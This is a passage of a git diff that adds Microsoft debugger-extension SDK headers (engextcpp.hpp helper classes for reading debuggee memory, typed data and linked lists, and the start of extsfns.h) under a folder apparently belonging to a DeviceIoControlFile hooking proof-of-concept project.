PCSTR Args) \ +{ \ + if (!g_Ext.IsSet()) \ + { \ + return E_UNEXPECTED; \ + } \ + return g_Ext->CallCommand(&g_##_Name##Desc, Client, Args); \ +} \ +void _Class::_Name(void) +#define EXT_COMMAND(_Name, _Desc, _Args) \ + EXT_CLASS_COMMAND(EXT_CLASS, _Name, _Desc, _Args) + +// Checks for success and throws an exception for failure. +#define EXT_STATUS(_Expr) \ + if (FAILED(m_MacroStatus = (_Expr))) \ + { \ + throw ExtStatusException(m_MacroStatus); \ + } else 0 +#define EXT_STATUS_MSG(_Expr, _Msg) \ + if (FAILED(m_MacroStatus = (_Expr))) \ + { \ + throw ExtStatusException(m_MacroStatus, _Msg); \ + } else 0 +#define EXT_STATUS_EMSG(_Expr) \ + if (FAILED(m_MacroStatus = (_Expr))) \ + { \ + throw ExtStatusException(m_MacroStatus, #_Expr); \ + } else 0 + +//---------------------------------------------------------------------------- +// +// ExtRemoteData is a simple wrapper for a piece of debuggee memory. +// It automatically retrieves small data items and wraps +// other common requests with throwing methods. +// +// Data can be named for more meaningful error messages. +// +//---------------------------------------------------------------------------- + +class ExtRemoteData +{ +public: + ExtRemoteData(void) + { + Clear(); + } + ExtRemoteData(__in ULONG64 Offset, + __in ULONG Bytes) throw(...) + { + Clear(); + Set(Offset, Bytes); + } + ExtRemoteData(__in_opt PCSTR Name, + __in ULONG64 Offset, + __in ULONG Bytes) throw(...) + { + Clear(); + m_Name = Name; + Set(Offset, Bytes); + } + + void Set(__in ULONG64 Offset, + __in ULONG Bytes) throw(...) + { + m_Offset = Offset; + m_ValidOffset = true; + m_Bytes = Bytes; + if (Bytes <= sizeof(m_Data)) + { + Read(); + } + else + { + m_ValidData = false; + m_Data = 0; + } + } + void Set(__in const DEBUG_TYPED_DATA* Typed); + + void Read(void) throw(...); + void Write(void) throw(...); + + ULONG64 GetData(__in ULONG Request) throw(...); + + // + // Fixed-size primitive type queries. + // Queries are validated against the known data size. + // + + CHAR GetChar(void) throw(...) + { + return (CHAR)GetData(sizeof(CHAR)); + } + UCHAR GetUchar(void) throw(...) + { + return (UCHAR)GetData(sizeof(UCHAR)); + } + BOOLEAN GetBoolean(void) throw(...) + { + return (BOOLEAN)GetData(sizeof(BOOLEAN)); + } + bool GetStdBool(void) throw(...) + { + return GetData(sizeof(bool)) != 0; + } + BOOL GetW32Bool(void) throw(...) + { + return (BOOL)GetData(sizeof(BOOL)); + } + SHORT GetShort(void) throw(...) + { + return (SHORT)GetData(sizeof(SHORT)); + } + USHORT GetUshort(void) throw(...) + { + return (USHORT)GetData(sizeof(USHORT)); + } + LONG GetLong(void) throw(...) + { + return (LONG)GetData(sizeof(LONG)); + } + ULONG GetUlong(void) throw(...) + { + return (ULONG)GetData(sizeof(ULONG)); + } + LONG64 GetLong64(void) throw(...) + { + return (LONG64)GetData(sizeof(LONG64)); + } + ULONG64 GetUlong64(void) throw(...) + { + return (ULONG64)GetData(sizeof(ULONG64)); + } + float GetFloat(void) throw(...) + { + GetData(sizeof(float)); + return *(float *)&m_Data; + } + double GetDouble(void) throw(...) + { + GetData(sizeof(double)); + return *(double *)&m_Data; + } + + // + // Pointer-size primitive type queries. + // The data is always promoted to the largest size. + // Queries are validated against the known data size. + // + + LONG64 GetLongPtr(void) throw(...) + { + return g_Ext->m_PtrSize == 8 ? + (LONG64)GetData(g_Ext->m_PtrSize) : + (LONG)GetData(g_Ext->m_PtrSize); + } + ULONG64 GetUlongPtr(void) throw(...) + { + return (ULONG64)GetData(g_Ext->m_PtrSize); + } + + // + // Pointer data read, with automatic sign extension. + // + + ULONG64 GetPtr(void) throw(...) + { + return g_Ext->m_PtrSize == 8 ? + GetData(g_Ext->m_PtrSize) : + (LONG)GetData(g_Ext->m_PtrSize); + } + + // + // Buffer reads for larger data. + // + + ULONG ReadBuffer(__out_bcount(Bytes) PVOID Buffer, + __in ULONG Bytes, + __in bool MustReadAll = true) throw(...); + ULONG WriteBuffer(__in_bcount(Bytes) PVOID Buffer, + __in ULONG Bytes, + __in bool MustReadAll = true) throw(...); + + // + // String reads. + // + + PSTR GetString(__out_ecount(BufferChars) PSTR Buffer, + __in ULONG BufferChars, + __in ULONG MaxChars = 1024, + __in bool MustFit = false) throw(...); + PWSTR GetString(__out_ecount(BufferChars) PWSTR Buffer, + __in ULONG BufferChars, + __in ULONG MaxChars = 1024, + __in bool MustFit = false) throw(...); + + PCSTR m_Name; + ULONG64 m_Offset; + bool m_ValidOffset; + ULONG m_Bytes; + ULONG64 m_Data; + bool m_ValidData; + bool m_Physical; + ULONG m_SpaceFlags; + +protected: + void Clear(void) + { + m_Name = NULL; + m_Offset = 0; + m_ValidOffset = false; + m_Bytes = 0; + m_Data = 0; + m_ValidData = false; + m_Physical = false; + m_SpaceFlags = 0; + } +}; + +//---------------------------------------------------------------------------- +// +// ExtRemoteTyped is an enhanced remote data object that understands +// data typed with type information from symbols. It is initialized +// to a particular object by symbol or cast, after which it can +// be used like an object of the given type. +// +// All expressions are C++ syntax by default. +// +//---------------------------------------------------------------------------- + +class ExtRemoteTyped : public ExtRemoteData +{ +public: + ExtRemoteTyped(void) + { + Clear(); + } + ExtRemoteTyped(__in PCSTR Expr) throw(...) + { + m_Release = false; + Set(Expr); + } + ExtRemoteTyped(__in const DEBUG_TYPED_DATA* Typed) throw(...) + { + m_Release = false; + Copy(Typed); + } + ExtRemoteTyped(__in const ExtRemoteTyped& Typed) throw(...) + { + m_Release = false; + Copy(Typed); + } + ExtRemoteTyped(__in PCSTR Expr, + __in ULONG64 Offset) throw(...) + { + m_Release = false; + Set(Expr, Offset); + } + ExtRemoteTyped(__in PCSTR Type, + __in ULONG64 Offset, + __in bool PtrTo, + __inout_opt PULONG64 CacheCookie = NULL, + __in_opt PCSTR LinkField = NULL) throw(...) + { + m_Release = false; + Set(Type, Offset, PtrTo, CacheCookie, LinkField); + } + ~ExtRemoteTyped(void) + { + Release(); + } + + ExtRemoteTyped& operator=(__in const DEBUG_TYPED_DATA* Typed) throw(...) + { + Copy(Typed); + return *this; + } + ExtRemoteTyped& operator=(__in const ExtRemoteTyped& Typed) throw(...) + { + Copy(Typed); + return *this; + } + + void Copy(__in const DEBUG_TYPED_DATA* Typed) throw(...); + void Copy(__in const ExtRemoteTyped& Typed) throw(...) + { + if (Typed.m_Release) + { + Copy(&Typed.m_Typed); + } + else + { + Clear(); + } + } + + void Set(__in PCSTR Expr) throw(...); + void Set(__in PCSTR Expr, + __in ULONG64 Offset) throw(...); + void Set(__in bool PtrTo, + __in ULONG64 TypeModBase, + __in ULONG TypeId, + __in ULONG64 Offset) throw(...); + void Set(__in PCSTR Type, + __in ULONG64 Offset, + __in bool PtrTo, + __inout_opt PULONG64 CacheCookie = NULL, + __in_opt PCSTR LinkField = NULL) throw(...); + + // Uses a circle string. + void WINAPIV SetPrint(__in PCSTR Format, + ...) throw(...); + + bool HasField(__in PCSTR Field) + { + return ErtIoctl("HasField", + EXT_TDOP_HAS_FIELD, + ErtIn | ErtIgnoreError, + Field) == S_OK; + } + + ULONG GetTypeSize(void) throw(...) + { + ULONG Size; + + ErtIoctl("GetTypeSize", EXT_TDOP_GET_TYPE_SIZE, ErtIn, + NULL, 0, NULL, NULL, 0, &Size); + return Size; + } + + ULONG GetFieldOffset(__in PCSTR Field) throw(...); + + ExtRemoteTyped Field(__in PCSTR Field) throw(...); + ExtRemoteTyped ArrayElement(__in LONG64 Index) throw(...); + ExtRemoteTyped Dereference(void) throw(...); + ExtRemoteTyped GetPointerTo(void) throw(...); + ExtRemoteTyped Eval(__in PCSTR Expr) throw(...); + + ExtRemoteTyped operator[](__in LONG Index) + { + return ArrayElement(Index); + } + ExtRemoteTyped operator[](__in ULONG Index) + { + return ArrayElement((LONG64)Index); + } + ExtRemoteTyped operator[](__in LONG64 Index) + { + return ArrayElement(Index); + } + ExtRemoteTyped operator[](__in ULONG64 Index) + { + if (Index > 0x7fffffffffffffffUI64) + { + g_Ext->ThrowRemote + (HRESULT_FROM_WIN32(ERROR_ARITHMETIC_OVERFLOW), + "Array index too large"); + } + return ArrayElement((LONG64)Index); + } + ExtRemoteTyped operator*(void) + { + return Dereference(); + } + + // Uses the circular string buffer. + PSTR GetTypeName(void) throw(...); + + void OutTypeName(void) throw(...) + { + ErtIoctl("OutTypeName", EXT_TDOP_OUTPUT_TYPE_NAME, ErtIn); + } + void OutSimpleValue(void) throw(...) + { + ErtIoctl("OutSimpleValue", EXT_TDOP_OUTPUT_SIMPLE_VALUE, ErtIn); + } + void OutFullValue(void) throw(...) + { + ErtIoctl("OutFullValue", EXT_TDOP_OUTPUT_FULL_VALUE, ErtIn); + } + void OutTypeDefinition(void) throw(...) + { + ErtIoctl("OutTypeDefinition", EXT_TDOP_OUTPUT_TYPE_DEFINITION, ErtIn); + } + + void Release(void) + { + if (m_Release) + { + ErtIoctl("Release", EXT_TDOP_RELEASE, ErtIn | ErtIgnoreError); + Clear(); + } + } + + static ULONG GetTypeFieldOffset(__in PCSTR Type, + __in PCSTR Field) throw(...); + + DEBUG_TYPED_DATA m_Typed; + bool m_Release; + +protected: + static const ULONG ErtIn = 0x00000001; + static const ULONG ErtOut = 0x00000002; + static const ULONG ErtUncheckedIn = 0x00000004; + static const ULONG ErtIgnoreError = 0x00000008; + + HRESULT ErtIoctl(__in PCSTR Message, + __in EXT_TDOP Op, + __in ULONG Flags, + __in_opt PCSTR InStr = NULL, + __in ULONG64 In64 = 0, + __out_opt ExtRemoteTyped* Ret = NULL, + __out_ecount_opt(StrBufferChars) PSTR StrBuffer = NULL, + __in ULONG StrBufferChars = 0, + __out_opt PULONG Out32 = NULL); + void Clear(void); +}; + +//---------------------------------------------------------------------------- +// +// ExtRemoteList wraps a basic singly- or double-linked list. +// It can iterate over the list and retrieve nodes both +// forwards and backwards. It handles both NULL-terminated +// and lists that are circular through a head pointer (NT-style). +// +// When doubly-linked it is assumed that the previous +// pointer immediately follows the next pointer. +// +//---------------------------------------------------------------------------- + +class ExtRemoteList +{ +public: + ExtRemoteList(__in ULONG64 Head, + __in ULONG LinkOffset, + __in bool Double = false) + { + m_Head = Head; + m_LinkOffset = LinkOffset; + m_Double = Double; + m_MaxIter = 65536; + } + ExtRemoteList(__in ExtRemoteData& Head, + __in ULONG LinkOffset, + __in bool Double = false) + { + m_Head = Head.m_Offset; + m_LinkOffset = LinkOffset; + m_Double = Double; + m_MaxIter = 65536; + } + + void StartHead(void) + { + m_Node.Set(m_Head, g_Ext->m_PtrSize); + m_CurIter = 0; + } + void StartTail(void) + { + if (!m_Double) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "ExtRemoteList is singly-linked"); + } + + m_Node.Set(m_Head + g_Ext->m_PtrSize, g_Ext->m_PtrSize); + m_CurIter = 0; + } + bool HasNode(void) + { + g_Ext->ThrowInterrupt(); + ULONG64 NodeOffs = m_Node.GetPtr(); + return NodeOffs != 0 && NodeOffs != m_Head; + } + ULONG64 GetNodeOffset(void) + { + return m_Node.GetPtr() - m_LinkOffset; + } + void Next(void) + { + if (++m_CurIter > m_MaxIter) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "List iteration count exceeded, loop assumed"); + } + + m_Node.Set(m_Node.GetPtr(), g_Ext->m_PtrSize); + } + void Prev(void) + { + g_Ext->ThrowInterrupt(); + + if (!m_Double) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "ExtRemoteList is singly-linked"); + } + + if (++m_CurIter > m_MaxIter) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "List iteration count exceeded, loop assumed"); + } + + m_Node.Set(m_Node.GetPtr() + g_Ext->m_PtrSize, g_Ext->m_PtrSize); + } + + ULONG64 m_Head; + ULONG m_LinkOffset; + bool m_Double; + ULONG m_MaxIter; + ExtRemoteData m_Node; + ULONG m_CurIter; +}; + +//---------------------------------------------------------------------------- +// +// ExtRemoteTypedList enhances the basic ExtRemoteList to +// understand the type of the nodes in the list and to +// automatically determine link offsets from type information. +// +//---------------------------------------------------------------------------- + +class ExtRemoteTypedList : public ExtRemoteList +{ +public: + ExtRemoteTypedList(__in ULONG64 Head, + __in PCSTR Type, + __in PCSTR LinkField, + __in ULONG64 TypeModBase = 0, + __in ULONG TypeId = 0, + __inout PULONG64 CacheCookie = NULL, + __in bool Double = false) throw(...) + : ExtRemoteList(Head, 0, Double) + { + SetTypeAndLink(Type, LinkField, TypeModBase, TypeId, CacheCookie); + } + ExtRemoteTypedList(__in ExtRemoteData& Head, + __in PCSTR Type, + __in PCSTR LinkField, + __in ULONG64 TypeModBase = 0, + __in ULONG TypeId = 0, + __inout_opt PULONG64 CacheCookie = NULL, + __in bool Double = false) throw(...) + : ExtRemoteList(Head, 0, Double) + { + SetTypeAndLink(Type, LinkField, TypeModBase, TypeId, CacheCookie); + } + + void SetTypeAndLink(__in PCSTR Type, + __in PCSTR LinkField, + __in ULONG64 TypeModBase = 0, + __in ULONG TypeId = 0, + __inout_opt PULONG64 CacheCookie = NULL) throw(...) + { + m_Type = Type; + m_TypeModBase = TypeModBase; + m_TypeId = TypeId; + if (CacheCookie) + { + m_LinkOffset = g_Ext->GetCachedFieldOffset(CacheCookie, + Type, + LinkField, + &m_TypeModBase, + &m_TypeId); + } + else + { + m_LinkOffset = ExtRemoteTyped::GetTypeFieldOffset(Type, LinkField); + } + } + + ExtRemoteTyped GetTypedNodePtr(void) throw(...) + { + ExtRemoteTyped Typed; + + if (m_TypeId) + { + Typed.Set(true, m_TypeModBase, m_TypeId, + m_Node.GetPtr() - m_LinkOffset); + } + else + { + Typed.SetPrint("(%s*)0x%I64x", + m_Type, m_Node.GetPtr() - m_LinkOffset); + + // Save the type info so that future nodes + // can be resolved without needing + // expression evaluation. + ExtRemoteTyped Deref = Typed.Dereference(); + m_TypeModBase = Deref.m_Typed.ModBase; + m_TypeId = Deref.m_Typed.TypeId; + } + return Typed; + } + ExtRemoteTyped GetTypedNode(void) throw(...) + { + ExtRemoteTyped Typed; + + if (m_TypeId) + { + Typed.Set(false, m_TypeModBase, m_TypeId, + m_Node.GetPtr() - m_LinkOffset); + } + else + { + Typed.SetPrint("*(%s*)0x%I64x", + m_Type, m_Node.GetPtr() - m_LinkOffset); + + // Save the type info so that future nodes + // can be resolved without needing + // expression evaluation. + m_TypeModBase = Typed.m_Typed.ModBase; + m_TypeId = Typed.m_Typed.TypeId; + } + return Typed; + } + + PCSTR m_Type; + ULONG64 m_TypeModBase; + ULONG m_TypeId; +}; + +//---------------------------------------------------------------------------- +// +// Helpers for handling well-known NT data and types. +// +//---------------------------------------------------------------------------- + +class ExtNtOsInformation +{ +public: + // + // Kernel mode. + // + + static ULONG64 GetKernelLoadedModuleListHead(void); + static ExtRemoteTypedList GetKernelLoadedModuleList(void); + static ExtRemoteTyped GetKernelLoadedModule(__in ULONG64 Offset); + + static ULONG64 GetKernelProcessListHead(void); + static ExtRemoteTypedList GetKernelProcessList(void); + static ExtRemoteTyped GetKernelProcess(__in ULONG64 Offset); + + static ULONG64 GetKernelProcessThreadListHead(__in ULONG64 Process); + static ExtRemoteTypedList GetKernelProcessThreadList(__in ULONG64 Process); + static ExtRemoteTyped GetKernelThread(__in ULONG64 Offset); + + // + // User mode. + // + + static ULONG64 GetUserLoadedModuleListHead(__in bool NativeOnly = false); + static ExtRemoteTypedList + GetUserLoadedModuleList(__in bool NativeOnly = false); + static ExtRemoteTyped GetUserLoadedModule(__in ULONG64 Offset, + __in bool NativeOnly = false); + + // + // PEB and TEB. + // + // The alternate PEB and TEB are secondary PEB and TEB + // data, such as the 32-bit PEB and TEB in a WOW64 + // debugging session. They may or may not be defined + // depending on the session. + // + + static ULONG64 GetOsPebPtr(void); + static ExtRemoteTyped GetOsPeb(__in ULONG64 Offset); + static ExtRemoteTyped GetOsPeb(void) + { + return GetOsPeb(GetOsPebPtr()); + } + + static ULONG64 GetOsTebPtr(void); + static ExtRemoteTyped GetOsTeb(__in ULONG64 Offset); + static ExtRemoteTyped GetOsTeb(void) + { + return GetOsTeb(GetOsTebPtr()); + } + + static ULONG64 GetAltPebPtr(void); + static ExtRemoteTyped GetAltPeb(__in ULONG64 Offset); + static ExtRemoteTyped GetAltPeb(void) + { + return GetAltPeb(GetAltPebPtr()); + } + + static ULONG64 GetAltTebPtr(void); + static ExtRemoteTyped GetAltTeb(__in ULONG64 Offset); + static ExtRemoteTyped GetAltTeb(void) + { + return GetAltTeb(GetAltTebPtr()); + } + + static ULONG64 GetCurPebPtr(void); + static ExtRemoteTyped GetCurPeb(__in ULONG64 Offset); + static ExtRemoteTyped GetCurPeb(void) + { + return GetCurPeb(GetCurPebPtr()); + } + + static ULONG64 GetCurTebPtr(void); + static ExtRemoteTyped GetCurTeb(__in ULONG64 Offset); + static ExtRemoteTyped GetCurTeb(void) + { + return GetCurTeb(GetCurTebPtr()); + } + + // + // Utilities. + // + + static ULONG64 GetNtDebuggerData(__in ULONG DataOffset, + __in PCSTR Symbol, + __in ULONG Flags); + +protected: + static ULONG64 s_KernelLoadedModuleBaseInfoCookie; + static ULONG64 s_KernelProcessBaseInfoCookie; + static ULONG64 s_KernelThreadBaseInfoCookie; + static ULONG64 s_KernelProcessThreadListFieldCookie; + static ULONG64 s_UserOsLoadedModuleBaseInfoCookie; + static ULONG64 s_UserAltLoadedModuleBaseInfoCookie; + static ULONG64 s_OsPebBaseInfoCookie; + static ULONG64 s_AltPebBaseInfoCookie; + static ULONG64 s_OsTebBaseInfoCookie; + static ULONG64 s_AltTebBaseInfoCookie; +}; + +//---------------------------------------------------------------------------- +// +// Number-to-string helpers for things like #define translations. +// +//---------------------------------------------------------------------------- + +// +// Convenience macros for filling define declarations. +// + +#define EXT_DEFINE_DECL(_Def) \ + { #_Def, _Def }, +#define EXT_DEFINE_END { NULL, 0 } + +// In order to avoid #define replacement on the names +// these macros cannot be nested macros. +#define EXT_DEFINE_DECL2(_Def1, _Def2) \ + { #_Def1, _Def1 }, { #_Def2, _Def2 } +#define EXT_DEFINE_DECL3(_Def1, _Def2, _Def3) \ + { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 } +#define EXT_DEFINE_DECL4(_Def1, _Def2, _Def3, _Def4) \ + { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 }, { #_Def4, _Def4 } +#define EXT_DEFINE_DECL5(_Def1, _Def2, _Def3, _Def4, _Def5) \ + { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\ + { #_Def4, _Def4 }, { #_Def5, _Def5 } +#define EXT_DEFINE_DECL6(_Def1, _Def2, _Def3, _Def4, _Def5, _Def6) \ + { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\ + { #_Def4, _Def4 }, { #_Def5, _Def5 }, { #_Def6, _Def6 } +#define EXT_DEFINE_DECL7(_Def1, _Def2, _Def3, _Def4, _Def5, _Def6, _Def7) \ + { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\ + { #_Def4, _Def4 }, { #_Def5, _Def5 }, { #_Def6, _Def6 }, { #_Def7, _Def7 } + +// +// Convenience macros for declaring global maps. +// + +#define EXT_DEFINE_MAP_DECL(_Name, _Flags) \ +ExtDefineMap g_##_Name##DefineMap(g_##_Name##Defines, _Flags) + +#define EXT_DEFINE_MAP1(_Name, _Flags, _Def1) \ +ExtDefine g_##_Name##Defines[] = { \ + { #_Def1, _Def1 }, EXT_DEFINE_END \ +}; EXT_DEFINE_MAP_DECL(_Name, _Flags) +#define EXT_DEFINE_MAP2(_Name, _Flags, _Def1, _Def2) \ +ExtDefine g_##_Name##Defines[] = { \ + { #_Def1, _Def1 }, { #_Def2, _Def2 }, EXT_DEFINE_END \ +}; EXT_DEFINE_MAP_DECL(_Name, _Flags) +#define EXT_DEFINE_MAP3(_Name, _Flags, _Def1, _Def2, _Def3) \ +ExtDefine g_##_Name##Defines[] = { \ + { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\ + EXT_DEFINE_END \ +}; EXT_DEFINE_MAP_DECL(_Name, _Flags) +#define EXT_DEFINE_MAP4(_Name, _Flags, _Def1, _Def2, _Def3, _Def4) \ +ExtDefine g_##_Name##Defines[] = { \ + { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\ + { #_Def4, _Def4 }, EXT_DEFINE_END \ +}; EXT_DEFINE_MAP_DECL(_Name, _Flags) +#define EXT_DEFINE_MAP5(_Name, _Flags, _Def1, _Def2, _Def3, _Def4, _Def5) \ +ExtDefine g_##_Name##Defines[] = { \ + { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\ + { #_Def4, _Def4 }, { #_Def5, _Def5 }, EXT_DEFINE_END \ +}; EXT_DEFINE_MAP_DECL(_Name, _Flags) +#define EXT_DEFINE_MAP6(_Name, _Flags, _Def1, _Def2, _Def3, _Def4, _Def5, _Def6) \ +ExtDefine g_##_Name##Defines[] = { \ + { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\ + { #_Def4, _Def4 }, { #_Def5, _Def5 }, { #_Def6, _Def6 },\ + EXT_DEFINE_END \ +}; EXT_DEFINE_MAP_DECL(_Name, _Flags) +#define EXT_DEFINE_MAP7(_Name, _Flags, _Def1, _Def2, _Def3, _Def4, _Def5, _Def6, _Def7) \ +ExtDefine g_##_Name##Defines[] = { \ + { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\ + { #_Def4, _Def4 }, { #_Def5, _Def5 }, { #_Def6, _Def6 },\ + { #_Def7, _Def7 }, EXT_DEFINE_END \ +}; EXT_DEFINE_MAP_DECL(_Name, _Flags) + +struct ExtDefine +{ + PCSTR Name; + ULONG64 Value; +}; + +class ExtDefineMap +{ +public: + ExtDefineMap(__in ExtDefine* Defines, + __in ULONG Flags) + { + m_Defines = Defines; + m_Flags = Flags; + }; + + static const ULONG Bitwise = 0x00000001; + static const ULONG OutValue = 0x00000002; + static const ULONG OutValue32 = 0x00000004; + static const ULONG OutValue64 = 0x00000008; + static const ULONG OutValueAny = OutValue | OutValue32 | OutValue64; + static const ULONG OutValueAlready = 0x00000010; + static const ULONG ValueAny = OutValueAny | OutValueAlready; + + // Defines are searched in the order given for + // defines where the full value of the define is + // included in the argument value. Multi-bit + // defines should come before single-bit defines + // so that they take priority for bitwise maps. + ExtDefine* Map(__in ULONG64 Value); + PCSTR MapStr(__in ULONG64 Value, + __in_opt PCSTR InvalidStr = NULL); + + // For a bitwise map, outputs all defines + // that can be found in the value. + // For non-bitwise, outputs the matching define. + // Uses wrapped output. + void Out(__in ULONG64 Value, + __in ULONG Flags = 0, + __in_opt PCSTR InvalidStr = NULL); + + ExtDefine* m_Defines; + ULONG m_Flags; +}; + +//---------------------------------------------------------------------------- +// +// Output capture helper class. +// +//---------------------------------------------------------------------------- + +template +class ExtCaptureOutput : public _BaseClass +{ +public: + ExtCaptureOutput(void) + { + m_Started = false; + m_Text = NULL; + Delete(); + } + ~ExtCaptureOutput(void) + { + Delete(); + } + + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) + { + *Interface = NULL; + + if (IsEqualIID(InterfaceId, __uuidof(IUnknown)) || + IsEqualIID(InterfaceId, __uuidof(_BaseClass))) + { + *Interface = (_BaseClass *)this; + AddRef(); + return S_OK; + } + else + { + return E_NOINTERFACE; + } + } + STDMETHOD_(ULONG, AddRef)( + THIS + ) + { + // This class is designed to be non-dynamic so + // there's no true refcount. + return 1; + } + STDMETHOD_(ULONG, Release)( + THIS + ) + { + // This class is designed to be non-dynamic so + // there's no true refcount. + return 0; + } + + // IDebugOutputCallbacks*. + STDMETHOD(Output)( + THIS_ + __in ULONG Mask, + __in const _CharType* Text + ) + { + ULONG Chars; + + if (sizeof(_CharType) == sizeof(char)) + { + Chars = strlen((PSTR)Text) + 1; + } + else + { + Chars = wcslen((PWSTR)Text) + 1; + } + if (Chars < 2) + { + return S_OK; + } + + if (0xffffffff / sizeof(_CharType) - m_UsedChars < Chars) + { + return HRESULT_FROM_WIN32(ERROR_ARITHMETIC_OVERFLOW); + } + + if (m_UsedChars + Chars > m_AllocChars) + { + ULONG NewBytes; + + // Overallocate when growing to prevent + // continuous allocation. + if (0xffffffff / sizeof(_CharType) - m_UsedChars - Chars > 256) + { + NewBytes = (m_UsedChars + Chars + 256) * sizeof(_CharType); + } + else + { + NewBytes = (m_UsedChars + Chars) * sizeof(_CharType); + } + PVOID NewMem = realloc(m_Text, NewBytes); + if (!NewMem) + { + return E_OUTOFMEMORY; + } + + m_Text = (_CharType*)NewMem; + m_AllocChars = NewBytes / sizeof(_CharType); + } + + memcpy(m_Text + m_UsedChars, Text, + Chars * sizeof(_CharType)); + // Advance up to but not past the terminator + // so that it gets overwritten by the next text. + m_UsedChars += Chars - 1; + return S_OK; + } + + void Start(void) + { + HRESULT Status; + + if (sizeof(_CharType) == sizeof(char)) + { + if ((Status = g_Ext->m_Client-> + GetOutputCallbacks((IDebugOutputCallbacks**) + &m_OldOutCb)) != S_OK) + { + g_Ext->ThrowStatus(Status, + "Unable to get previous output callback"); + } + if ((Status = g_Ext->m_Client-> + SetOutputCallbacks((IDebugOutputCallbacks*) + this)) != S_OK) + { + g_Ext->ThrowStatus(Status, + "Unable to set capture output callback"); + } + } + else + { + if ((Status = g_Ext->m_Client5-> + GetOutputCallbacksWide((IDebugOutputCallbacksWide**) + &m_OldOutCb)) != S_OK) + { + g_Ext->ThrowStatus(Status, + "Unable to get previous output callback"); + } + if ((Status = g_Ext->m_Client5-> + SetOutputCallbacksWide((IDebugOutputCallbacksWide*) + this)) != S_OK) + { + g_Ext->ThrowStatus(Status, + "Unable to set capture output callback"); + } + } + + m_UsedChars = 0; + m_Started = true; + } + + void Stop(void) + { + HRESULT Status; + + m_Started = false; + + if (sizeof(_CharType) == sizeof(char)) + { + if ((Status = g_Ext->m_Client-> + SetOutputCallbacks((IDebugOutputCallbacks*) + m_OldOutCb)) != S_OK) + { + g_Ext->ThrowStatus(Status, + "Unable to restore output callback"); + } + } + else + { + if ((Status = g_Ext->m_Client5-> + SetOutputCallbacksWide((IDebugOutputCallbacksWide*) + m_OldOutCb)) != S_OK) + { + g_Ext->ThrowStatus(Status, + "Unable to restore output callback"); + } + } + + m_OldOutCb = NULL; + } + + void Delete(void) + { + if (m_Started) + { + Stop(); + } + + free(m_Text); + m_Text = NULL; + m_AllocChars = 0; + m_UsedChars = 0; + } + + void Execute(__in PCSTR Command) + { + Start(); + + // Hide all output from the execution + // and don't save the command. + g_Ext->m_Control->Execute(DEBUG_OUTCTL_THIS_CLIENT | + DEBUG_OUTCTL_OVERRIDE_MASK | + DEBUG_OUTCTL_NOT_LOGGED, + Command, + DEBUG_EXECUTE_NOT_LOGGED | + DEBUG_EXECUTE_NO_REPEAT); + + Stop(); + } + + const _CharType* GetTextNonNull(void) + { + if (sizeof(_CharType) == sizeof(char)) + { + return m_Text ? (PCSTR)m_Text : ""; + } + else + { + return m_Text ? (PCWSTR)m_Text : L""; + } + } + + bool m_Started; + ULONG m_AllocChars; + ULONG m_UsedChars; + _CharType* m_Text; + + _BaseClass* m_OldOutCb; +}; + +typedef ExtCaptureOutput ExtCaptureOutputA; +typedef ExtCaptureOutput ExtCaptureOutputW; + +#if _MSC_VER >= 800 +#pragma warning(default:4121) +#endif + +#include + +#endif // #ifndef __ENGEXTCPP_HPP__ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/extsfns.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/extsfns.h new file mode 100644 index 00000000..6ef665b7 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/extsfns.h @@ -0,0 +1,1732 @@ +/*++ + +Copyright (c) 2006 Microsoft Corporation + +Module Name: + + extsfns.h + +Abstract: + + This header file must be included after "windows.h", "dbgeng.h", and + "wdbgexts.h". + + This file contains headers for various known extension functions defined + in different extension dlls. To use these functions, the appropriate + extension dll must be loaded in the debugger. IDebugSymbols->GetExtension + (declared in dbgeng.h) method could be used to retrieve these functions. + + Please see the Debugger documentation for specific information about how + to write your own debugger extension DLL. + +Environment: + + Win32 only. + +Revision History: + +--*/ + +#ifndef _EXTFNS_H +#define _EXTFNS_H + +#define _EXTSAPI_VER_ 9 + +#ifndef _KDEXTSFN_H +#define _KDEXTSFN_H + +/* + * Extension functions defined in kdexts.dll + */ + +// +// device.c +// +typedef struct _DEBUG_DEVICE_OBJECT_INFO { + ULONG SizeOfStruct; // must be == sizeof(DEBUG_DEVICE_OBJECT_INFO) + ULONG64 DevObjAddress; + ULONG ReferenceCount; + BOOL QBusy; + ULONG64 DriverObject; + ULONG64 CurrentIrp; + ULONG64 DevExtension; + ULONG64 DevObjExtension; +} DEBUG_DEVICE_OBJECT_INFO, *PDEBUG_DEVICE_OBJECT_INFO; + + +// GetDevObjInfo +typedef HRESULT +(WINAPI *PGET_DEVICE_OBJECT_INFO)( + IN PDEBUG_CLIENT Client, + IN ULONG64 DeviceObject, + OUT PDEBUG_DEVICE_OBJECT_INFO pDevObjInfo); + + +// +// driver.c +// +typedef struct _DEBUG_DRIVER_OBJECT_INFO { + ULONG SizeOfStruct; // must be == sizeof(DEBUG_DRIVER_OBJECT_INFO) + ULONG DriverSize; + ULONG64 DriverObjAddress; + ULONG64 DriverStart; + ULONG64 DriverExtension; + ULONG64 